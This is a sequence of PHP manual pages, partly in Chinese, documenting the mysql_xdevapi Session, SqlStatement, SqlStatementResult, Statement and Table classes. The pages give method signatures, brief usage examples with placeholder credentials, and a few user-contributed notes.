Example #1 mysql_xdevapi\Session::dropSchema() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->dropSchema("addressbook");

$session->close();
?>

User Contributed Notes

There are no user contributed notes for this page.


Get new UUID

  • ? Session::dropSchema
  • Session::getDefaultSchema ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Get new UUID

Session::generateUUID

(No version information available, might only be in Git)

Session::generateUUID — Get new UUID

说明

public mysql_xdevapi\Session::generateUUID(): string

Generate a Universal Unique IDentifier (UUID) generated according to » RFC 4122.

参数

此函数没有参数。

返回值

The UUID; a string with a length of 32.

示例

Example #1 mysql_xdevapi\Session::generateUuid() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$uuid = $session->generateUuid();

var_dump($uuid);

以上示例的输出类似于：

string(32) "484B18AC7980F8D4FE84613CDA5EE84B"

User Contributed Notes

There are no user contributed notes for this page.


Get default schema name

  • ? Session::generateUUID
  • Session::getSchema ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Get default schema name

Session::getDefaultSchema

(No version information available, might only be in Git)

Session::getDefaultSchema — Get default schema name

说明

public mysql_xdevapi\Session::getDefaultSchema(): string

Retrieve name of the default schema that's typically set in the connection URI.

参数

此函数没有参数。

返回值

Name of the default schema defined by the connection, or null if one was not set.

示例

Example #1 mysql_xdevapi\Session::getSchema() example

<?php
$uri = "mysqlx://testuser:testpasswd@localhost:33160/testx?ssl-mode=disabled";
$session = mysql_xdevapi\getSession($uri);

$schema = $session->getDefaultSchema();
echo $schema;
?>

以上示例会输出：

testx

User Contributed Notes

shaun at shaunfreeman dot co dot uk 25-Sep-2019 08:30
This method actually returns a Schema object that was named in the connection string or NULL
<?php
$session = mysql_xdevapi\getSession('mysqlzx://dbuser:654321@mysql:33060/dbname');

/** @var Schema $defaultSchema */
$defaultSchema = $session->getDefaultSchema();

print "<pre>";
print_r($defaultSchema);
?>

will output:
mysql_xdevapi\Schema Object
(
[name] => dbname
)


Get a new schema object

  • ? Session::getDefaultSchema
  • Session::getSchemas ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Get a new schema object

Session::getSchema

(No version information available, might only be in Git)

Session::getSchema — Get a new schema object

说明

public mysql_xdevapi\Session::getSchema(string $schema_name): mysql_xdevapi\Schema

A new Schema object for the provided schema name.

参数

schema_name

Name of the schema (database) to fetch a Schema object for.

返回值

A Schema object.

示例

Example #1 mysql_xdevapi\Session::getSchema() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schema = $session->getSchema("addressbook");

print_r($schema);

以上示例的输出类似于：

mysql_xdevapi\Schema Object
(
    [name] => addressbook
)

User Contributed Notes

jcastro at eftec dot cl 09-Aug-2018 01:59
The syntaxis is

$schema = $session->getSchema( "storedb" ); // it returns a Schema object

Where $session is a Session object and storedb is the name of the schema.


Get the schemas

  • ? Session::getSchema
  • Session::getServerVersion ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Get the schemas

Session::getSchemas

(No version information available, might only be in Git)

Session::getSchemas — Get the schemas

说明

public mysql_xdevapi\Session::getSchemas(): array

Get schema objects for all schemas available to the session.

参数

此函数没有参数。

返回值

An array containing objects that represent all of the schemas available to the session.

示例

Example #1 mysql_xdevapi\Session::getSchemas() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$schemas = $session->getSchemas();

print_r($schemas);

以上示例的输出类似于：

Array
(
    [0] => mysql_xdevapi\Schema Object
        (
            [name] => addressbook
        )
    [1] => mysql_xdevapi\Schema Object
        (
            [name] => information_schema
        )
    ...

User Contributed Notes

There are no user contributed notes for this page.


Get server version

  • ? Session::getSchemas
  • Session::listClients ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Get server version

Session::getServerVersion

(No version information available, might only be in Git)

Session::getServerVersion — Get server version

说明

public mysql_xdevapi\Session::getServerVersion(): int

Retrieve the MySQL server version for the session.

参数

此函数没有参数。

返回值

The MySQL server version for the session, as an integer such as "80012".

示例

Example #1 mysql_xdevapi\Session::getServerVersion() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$version = $session->getServerVersion();

var_dump($version);

以上示例的输出类似于：

int(80012)

User Contributed Notes

There are no user contributed notes for this page.


Get client list

  • ? Session::getServerVersion
  • Session::quoteName ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Get client list

Session::listClients

(No version information available, might only be in Git)

Session::listClients — Get client list

说明

public mysql_xdevapi\Session::listClients(): array

Get a list of client connections to the session's MySQL server.

参数

此函数没有参数。

返回值

An array containing the currently logged clients. The array elements are "client_id", "user", "host", and "sql_session".

示例

Example #1 mysql_xdevapi\Session::listClients() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$ids = $session->listClients();

var_dump($ids);
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  array(4) {
    ["client_id"]=>
    int(61)
    ["user"]=>
    string(4) "root"
    ["host"]=>
    string(9) "localhost"
    ["sql_session"]=>
    int(72)
  }
}

User Contributed Notes

shaun at shaunfreeman dot co dot uk 30-Sep-2019 06:56
As of Version 8.0.17 the Session::listClients() method has not been implemented yet.


Add quotes

  • ? Session::listClients
  • Session::releaseSavepoint ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Add quotes

Session::quoteName

(No version information available, might only be in Git)

Session::quoteName — Add quotes

说明

public mysql_xdevapi\Session::quoteName(string $name): string

A quoting function to escape SQL names and identifiers. It escapes the identifier given in accordance to the settings of the current connection. This escape function should not be used to escape values.

参数

name

The string to quote.

返回值

The quoted string.

示例

Example #1 mysql_xdevapi\Session::quoteName() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$first = "MySQL's test";
var_dump($first);
var_dump($session->quoteName($first));

$second = 'Another `test` "like" `this`';
var_dump($second);
var_dump($session->quoteName($second));
?>

以上示例的输出类似于：

string(12) "MySQL's test"
string(14) "`MySQL's test`"

string(28) "Another `test` "like" `this`"
string(34) "`Another ``test`` "like" ``this```"

User Contributed Notes

There are no user contributed notes for this page.


Release set savepoint

  • ? Session::quoteName
  • Session::rollback ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Release set savepoint

Session::releaseSavepoint

(No version information available, might only be in Git)

Session::releaseSavepoint — Release set savepoint

说明

public mysql_xdevapi\Session::releaseSavepoint(string $name): void

Release a previously set savepoint.

参数

name

Name of the savepoint to release.

返回值

An SqlStatementResult object.

示例

Example #1 mysql_xdevapi\Session::releaseSavepoint() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Rollback transaction

  • ? Session::releaseSavepoint
  • Session::rollbackTo ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Rollback transaction

Session::rollback

(No version information available, might only be in Git)

Session::rollback — Rollback transaction

说明

public mysql_xdevapi\Session::rollback(): void

Rollback the transaction.

参数

此函数没有参数。

返回值

An SqlStatementResult object.

示例

Example #1 mysql_xdevapi\Session::rollback() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Rollback transaction to savepoint

  • ? Session::rollback
  • Session::setSavepoint ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Rollback transaction to savepoint

Session::rollbackTo

(No version information available, might only be in Git)

Session::rollbackTo — Rollback transaction to savepoint

说明

public mysql_xdevapi\Session::rollbackTo(string $name): void

Rollback the transaction back to the savepoint.

参数

name

Name of the savepoint to rollback to; case-insensitive.

返回值

An SqlStatementResult object.

示例

Example #1 mysql_xdevapi\Session::rollbackTo() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint1 = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$savepoint2 = $session->setSavepoint();

$session->rollbackTo($savepoint1);
?>

User Contributed Notes

There are no user contributed notes for this page.


Create savepoint

  • ? Session::rollbackTo
  • Session::sql ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Create savepoint

Session::setSavepoint

(No version information available, might only be in Git)

Session::setSavepoint — Create savepoint

说明

public mysql_xdevapi\Session::setSavepoint(string $name = ?): string

Create a new savepoint for the transaction.

Warning

本函数还未编写文档，仅有参数列表。

参数

name

The name of the savepoint. The name is auto-generated if the optional name parameter is not defined as 'SAVEPOINT1', 'SAVEPOINT2', and so on.

返回值

The name of the save point.

示例

Example #1 mysql_xdevapi\Session::setSavepoint() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("names");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


Execute SQL query

  • ? Session::setSavepoint
  • Session::startTransaction ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Execute SQL query

Session::sql

(No version information available, might only be in Git)

Session::sql — Execute SQL query

说明

public mysql_xdevapi\Session::sql(string $query): mysql_xdevapi\SqlStatement

Create a native SQL statement. Placeholders are supported using the native "?" syntax. Use the execute method to execute the SQL statement.

参数

query

SQL statement to execute.

返回值

An SqlStatement object.

示例

Example #1 mysql_xdevapi\Session::sql() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE addressbook")->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


Start transaction

  • ? Session::sql
  • mysql_xdevapi\SqlStatement ?
  • PHP Manual
  • mysql_xdevapi\Session
  • Start transaction

Session::startTransaction

(No version information available, might only be in Git)

Session::startTransaction — Start transaction

说明

public mysql_xdevapi\Session::startTransaction(): void

Start a new transaction.

参数

此函数没有参数。

返回值

An SqlStatementResult object.

示例

Example #1 mysql_xdevapi\Session::startTransaction() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$collection = $session->getSchema("addressbook")->getCollection("friends");

$session->startTransaction();
$collection->add( '{"test1":1, "test2":2}' )->execute();

$savepoint = $session->setSavepoint();

$collection->add( '{"test3":3, "test4":4}' )->execute();

$session->releaseSavepoint($savepoint);
$session->rollback();
?>

User Contributed Notes

There are no user contributed notes for this page.


SqlStatement class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\SqlStatement {
/* 常量 */
const int EXECUTE_ASYNC = 1;
const int BUFFERED = 2;
/* 属性 */
public $statement;
/* 方法 */
public bind(string $param): mysql_xdevapi\SqlStatement
public execute(): mysql_xdevapi\Result
public getNextResult(): mysql_xdevapi\Result
public getResult(): mysql_xdevapi\Result
public hasMoreResults(): bool
}

属性

statement

预定义常量

mysql_xdevapi\SqlStatement::EXECUTE_ASYNC

mysql_xdevapi\SqlStatement::BUFFERED

Table of Contents

  • SqlStatement::bind — Bind statement parameters
  • SqlStatement::__construct — Description constructor
  • SqlStatement::execute — Execute the operation
  • SqlStatement::getNextResult — Get next result
  • SqlStatement::getResult — Get result
  • SqlStatement::hasMoreResults — Check for more results

User Contributed Notes

There are no user contributed notes for this page.


Bind statement parameters

  • ? mysql_xdevapi\SqlStatement
  • SqlStatement::__construct ?
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Bind statement parameters

SqlStatement::bind

(No version information available, might only be in Git)

SqlStatement::bind — Bind statement parameters

说明

public mysql_xdevapi\SqlStatement::bind(string $param): mysql_xdevapi\SqlStatement

Warning

本函数还未编写文档，仅有参数列表。

参数

param

返回值

示例

Example #1 mysql_xdevapi\SqlStatement::bind() example

<?php

/* ... */

?>

User Contributed Notes

me25show at gmail dot com 21-Feb-2019 08:41
bind using example:
<?php
try {
    $session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
    die("Connection could not be established: " . $e->getMessage());
}
$stmt = $session->sql("SELECT * FROM table WHERE id=? AND data=?");
$stmt->bind(1);
$stmt->bind("data");
$result = $stmt->execute();

?>


Description constructor

  • ? SqlStatement::bind
  • SqlStatement::execute ?
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Description constructor

SqlStatement::__construct

(No version information available, might only be in Git)

SqlStatement::__construct — Description constructor

说明

private mysql_xdevapi\SqlStatement::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\SqlStatement::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Execute the operation

  • ? SqlStatement::__construct
  • SqlStatement::getNextResult ?
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Execute the operation

SqlStatement::execute

(No version information available, might only be in Git)

SqlStatement::execute — Execute the operation

说明

public mysql_xdevapi\SqlStatement::execute(): mysql_xdevapi\Result

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\SqlStatement::execute() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get next result

  • ? SqlStatement::execute
  • SqlStatement::getResult ?
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Get next result

SqlStatement::getNextResult

(No version information available, might only be in Git)

SqlStatement::getNextResult — Get next result

说明

public mysql_xdevapi\SqlStatement::getNextResult(): mysql_xdevapi\Result

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\SqlStatement::getNextResult() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get result

  • ? SqlStatement::getNextResult
  • SqlStatement::hasMoreResults ?
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Get result

SqlStatement::getResult

(No version information available, might only be in Git)

SqlStatement::getResult — Get result

说明

public mysql_xdevapi\SqlStatement::getResult(): mysql_xdevapi\Result

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\SqlStatement::getResult() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Check for more results

  • ? SqlStatement::getResult
  • mysql_xdevapi\SqlStatementResult ?
  • PHP Manual
  • mysql_xdevapi\SqlStatement
  • Check for more results

SqlStatement::hasMoreResults

(No version information available, might only be in Git)

SqlStatement::hasMoreResults — Check for more results

说明

public mysql_xdevapi\SqlStatement::hasMoreResults(): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the result set has more objects to fetch.

示例

Example #1 mysql_xdevapi\SqlStatement::hasMoreResults() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


SqlStatementResult class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\SqlStatementResult implements mysql_xdevapi\BaseResult, Traversable {
/* 方法 */
public fetchAll(): array
public fetchOne(): array
public getAffectedItemsCount(): int
public getColumnsCount(): int
public getColumnNames(): array
public getColumns(): Array
public getGeneratedIds(): array
public getLastInsertId(): String
public getWarnings(): array
public getWarningCounts(): int
public hasData(): bool
public nextResult(): mysql_xdevapi\Result
}

Table of Contents

  • SqlStatementResult::__construct — Description constructor
  • SqlStatementResult::fetchAll — Get all rows from result
  • SqlStatementResult::fetchOne — Get single row
  • SqlStatementResult::getAffectedItemsCount — Get affected row count
  • SqlStatementResult::getColumnsCount — Get column count
  • SqlStatementResult::getColumnNames — Get column names
  • SqlStatementResult::getColumns — Get columns
  • SqlStatementResult::getGeneratedIds — Get generated ids
  • SqlStatementResult::getLastInsertId — Get last insert id
  • SqlStatementResult::getWarnings — Get warnings from last operation
  • SqlStatementResult::getWarningsCount — Get warning count from last operation
  • SqlStatementResult::hasData — Check if result has data
  • SqlStatementResult::nextResult — Get next result

User Contributed Notes

There are no user contributed notes for this page.


Description constructor

  • ? mysql_xdevapi\SqlStatementResult
  • SqlStatementResult::fetchAll ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Description constructor

SqlStatementResult::__construct

(No version information available, might only be in Git)

SqlStatementResult::__construct — Description constructor

说明

private mysql_xdevapi\SqlStatementResult::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\SqlStatementResult::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get all rows from result

  • ? SqlStatementResult::__construct
  • SqlStatementResult::fetchOne ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get all rows from result

SqlStatementResult::fetchAll

(No version information available, might only be in Git)

SqlStatementResult::fetchAll — Get all rows from result

说明

public mysql_xdevapi\SqlStatementResult::fetchAll(): array

Fetch all the rows from the result set.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A numerical array with all results from the query; each result is an associative array. An empty array is returned if no rows are present.

示例

Example #1 mysql_xdevapi\SqlStatementResult::fetchAll() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS dbtest")->execute();
$session->sql("CREATE DATABASE dbtest")->execute();
$session->sql("CREATE TABLE dbtest.workers(name text, age int, job text)")->execute();
$session->sql("INSERT INTO dbtest.workers values ('John', 42, 'bricklayer'), ('Sam', 33, 'carpenter')")->execute();

$schema = $session->getSchema("dbtest");
$table = $schema->getTable("workers");

$rows = $session->sql("SELECT * FROM dbtest.workers")->execute()->fetchAll();

print_r($rows);
?>

以上示例的输出类似于：

Array
(
    [0] => Array
        (
            [name] => John
            [age] => 42
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 33
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Get single row

  • ? SqlStatementResult::fetchAll
  • SqlStatementResult::getAffectedItemsCount ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get single row

SqlStatementResult::fetchOne

(No version information available, might only be in Git)

SqlStatementResult::fetchOne — Get single row

说明

public mysql_xdevapi\SqlStatementResult::fetchOne(): array

Fetch one row from the result set.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The result, as an associative array. In case there is not any result, null will be returned.

示例

Example #1 mysql_xdevapi\SqlStatementResult::fetchOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS dbtest")->execute();
$session->sql("CREATE DATABASE dbtest")->execute();
$session->sql("CREATE TABLE dbtest.workers(name text, age int, job text)")->execute();
$session->sql("INSERT INTO dbtest.workers values ('John', 42, 'bricklayer'), ('Sam', 33, 'carpenter')")->execute();

$schema = $session->getSchema("dbtest");
$table = $schema->getTable("workers");

$rows = $session->sql("SELECT * FROM dbtest.workers")->execute()->fetchOne();

print_r($rows);
?>

以上示例的输出类似于：

Array
(
    [name] => John
    [age] => 42
    [job] => bricklayer
)

User Contributed Notes

There are no user contributed notes for this page.


Get affected row count

  • ? SqlStatementResult::fetchOne
  • SqlStatementResult::getColumnsCount ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get affected row count

SqlStatementResult::getAffectedItemsCount

(No version information available, might only be in Git)

SqlStatementResult::getAffectedItemsCount — Get affected row count

说明

public mysql_xdevapi\SqlStatementResult::getAffectedItemsCount(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\SqlStatementResult::getAffectedItemsCount() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get column count

  • ? SqlStatementResult::getAffectedItemsCount
  • SqlStatementResult::getColumnNames ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get column count

SqlStatementResult::getColumnsCount

(No version information available, might only be in Git)

SqlStatementResult::getColumnsCount — Get column count

说明

public mysql_xdevapi\SqlStatementResult::getColumnsCount(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The number of columns; 0 if there are none.

更新日志

版本 | 说明
8.0.14 | Method renamed from getColumnCount() to getColumnsCount().

示例

Example #1 mysql_xdevapi\SqlStatementResult::getColumnsCount() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get column names

  • ? SqlStatementResult::getColumnsCount
  • SqlStatementResult::getColumns ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get column names

SqlStatementResult::getColumnNames

(No version information available, might only be in Git)

SqlStatementResult::getColumnNames — Get column names

说明

public mysql_xdevapi\SqlStatementResult::getColumnNames(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\SqlStatementResult::getColumnNames() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get columns

  • ? SqlStatementResult::getColumnNames
  • SqlStatementResult::getGeneratedIds ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get columns

SqlStatementResult::getColumns

(No version information available, might only be in Git)

SqlStatementResult::getColumns — Get columns

说明

public mysql_xdevapi\SqlStatementResult::getColumns(): Array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\SqlStatementResult::getColumns() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get generated ids

  • ? SqlStatementResult::getColumns
  • SqlStatementResult::getLastInsertId ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get generated ids

SqlStatementResult::getGeneratedIds

(No version information available, might only be in Git)

SqlStatementResult::getGeneratedIds — Get generated ids

说明

public mysql_xdevapi\SqlStatementResult::getGeneratedIds(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

An array of generated _id's from the last operation, or an empty array if there are none.

示例

Example #1 mysql_xdevapi\SqlStatementResult::getGeneratedIds() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get last insert id

  • ? SqlStatementResult::getGeneratedIds
  • SqlStatementResult::getWarnings ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get last insert id

SqlStatementResult::getLastInsertId

(No version information available, might only be in Git)

SqlStatementResult::getLastInsertId — Get last insert id

说明

public mysql_xdevapi\SqlStatementResult::getLastInsertId(): String

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The ID for the last insert operation.

示例

Example #1 mysql_xdevapi\SqlStatementResult::getLastInsertId() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get warnings from last operation

  • ? SqlStatementResult::getLastInsertId
  • SqlStatementResult::getWarningsCount ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get warnings from last operation

SqlStatementResult::getWarnings

(No version information available, might only be in Git)

SqlStatementResult::getWarnings — Get warnings from last operation

说明

public mysql_xdevapi\SqlStatementResult::getWarnings(): array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

An array of Warning objects from the last operation. Each object defines an error 'message', error 'level', and error 'code'. An empty array is returned if no errors are present.

示例

Example #1 mysql_xdevapi\SqlStatementResult::getWarnings() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get warning count from last operation

  • ? SqlStatementResult::getWarnings
  • SqlStatementResult::hasData ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get warning count from last operation

SqlStatementResult::getWarningsCount

(No version information available, might only be in Git)

SqlStatementResult::getWarningsCount — Get warning count from last operation

说明

public mysql_xdevapi\SqlStatementResult::getWarningCounts(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The number of warnings raised during the last CRUD operation.

示例

Example #1 mysql_xdevapi\SqlStatementResult::getWarningsCount() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Check if result has data

  • ? SqlStatementResult::getWarningsCount
  • SqlStatementResult::nextResult ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Check if result has data

SqlStatementResult::hasData

(No version information available, might only be in Git)

SqlStatementResult::hasData — Check if result has data

说明

public mysql_xdevapi\SqlStatementResult::hasData(): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

true if the result set has data.

示例

Example #1 mysql_xdevapi\SqlStatementResult::hasData() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get next result

  • ? SqlStatementResult::hasData
  • mysql_xdevapi\Statement ?
  • PHP Manual
  • mysql_xdevapi\SqlStatementResult
  • Get next result

SqlStatementResult::nextResult

(No version information available, might only be in Git)

SqlStatementResult::nextResult — Get next result

说明

public mysql_xdevapi\SqlStatementResult::nextResult(): mysql_xdevapi\Result

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The next Result object from the result set.

示例

Example #1 mysql_xdevapi\SqlStatementResult::nextResult() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Statement class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Statement {
/* 常量 */
const int EXECUTE_ASYNC = 1;
const int BUFFERED = 2;
/* 方法 */
public getNextResult(): mysql_xdevapi\Result
public getResult(): mysql_xdevapi\Result
public hasMoreResults(): bool
}

预定义常量

mysql_xdevapi\Statement::EXECUTE_ASYNC

mysql_xdevapi\Statement::BUFFERED

Table of Contents

  • Statement::__construct — Description constructor
  • Statement::getNextResult — Get next result
  • Statement::getResult — Get result
  • Statement::hasMoreResults — Check if more results

User Contributed Notes

There are no user contributed notes for this page.


Description constructor

  • ? mysql_xdevapi\Statement
  • Statement::getNextResult ?
  • PHP Manual
  • mysql_xdevapi\Statement
  • Description constructor

Statement::__construct

(No version information available, might only be in Git)

Statement::__construct — Description constructor

说明

private mysql_xdevapi\Statement::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Statement::__construct() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get next result

  • ? Statement::__construct
  • Statement::getResult ?
  • PHP Manual
  • mysql_xdevapi\Statement
  • Get next result

Statement::getNextResult

(No version information available, might only be in Git)

Statement::getNextResult — Get next result

说明

public mysql_xdevapi\Statement::getNextResult(): mysql_xdevapi\Result

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\Statement::getNextResult() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Get result

  • ? Statement::getNextResult
  • Statement::hasMoreResults ?
  • PHP Manual
  • mysql_xdevapi\Statement
  • Get result

Statement::getResult

(No version information available, might only be in Git)

Statement::getResult — Get result

说明

public mysql_xdevapi\Statement::getResult(): mysql_xdevapi\Result

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\Statement::getResult() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Check if more results

  • ? Statement::getResult
  • mysql_xdevapi\Table ?
  • PHP Manual
  • mysql_xdevapi\Statement
  • Check if more results

Statement::hasMoreResults

(No version information available, might only be in Git)

Statement::hasMoreResults — Check if more results

说明

public mysql_xdevapi\Statement::hasMoreResults(): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 mysql_xdevapi\Statement::hasMoreResults() example

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


Table class

(PECL mysql-xdevapi >= 8.0.11)

简介

Provides access to the table through INSERT/SELECT/UPDATE/DELETE statements.

类摘要

class mysql_xdevapi\Table implements mysql_xdevapi\SchemaObject {
/* 属性 */
public $name;
/* 方法 */
public count(): int
public delete(): mysql_xdevapi\TableDelete
public existsInDatabase(): bool
public getName(): string
public getSchema(): mysql_xdevapi\Schema
public getSession(): mysql_xdevapi\Session
public insert(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableInsert
public isView(): bool
public select(mixed $columns, mixed ...$more_columns): mysql_xdevapi\TableSelect
public update(): mysql_xdevapi\TableUpdate
}

属性

name

Table of Contents

  • Table::__construct — Table constructor
  • Table::count — Get row count
  • Table::delete — Delete rows from table
  • Table::existsInDatabase — Check if table exists in database
  • Table::getName — Get table name
  • Table::getSchema — Get table schema
  • Table::getSession — Get table session
  • Table::insert — Insert table rows
  • Table::isView — Check if table is view
  • Table::select — Select rows from table
  • Table::update — Update rows in table

User Contributed Notes

There are no user contributed notes for this page.


Table constructor

  • ? mysql_xdevapi\Table
  • Table::count ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Table constructor

Table::__construct

(No version information available, might only be in Git)

Table::__construct — Table constructor

说明

private mysql_xdevapi\Table::__construct()

Construct a table object.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Table::__construct() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$schema = $session->getSchema("addressbook");
$table = $schema->getTable("names");
?>

User Contributed Notes

There are no user contributed notes for this page.


Get row count

  • ? Table::__construct
  • Table::delete ?
  • PHP Manual
  • mysql_xdevapi\Table
  • Get row count

Table::count

(No version information available, might only be in Git)

Table::count — Get row count

说明

public mysql_xdevapi\Table::count(): int

Fetch the number of rows in the table.

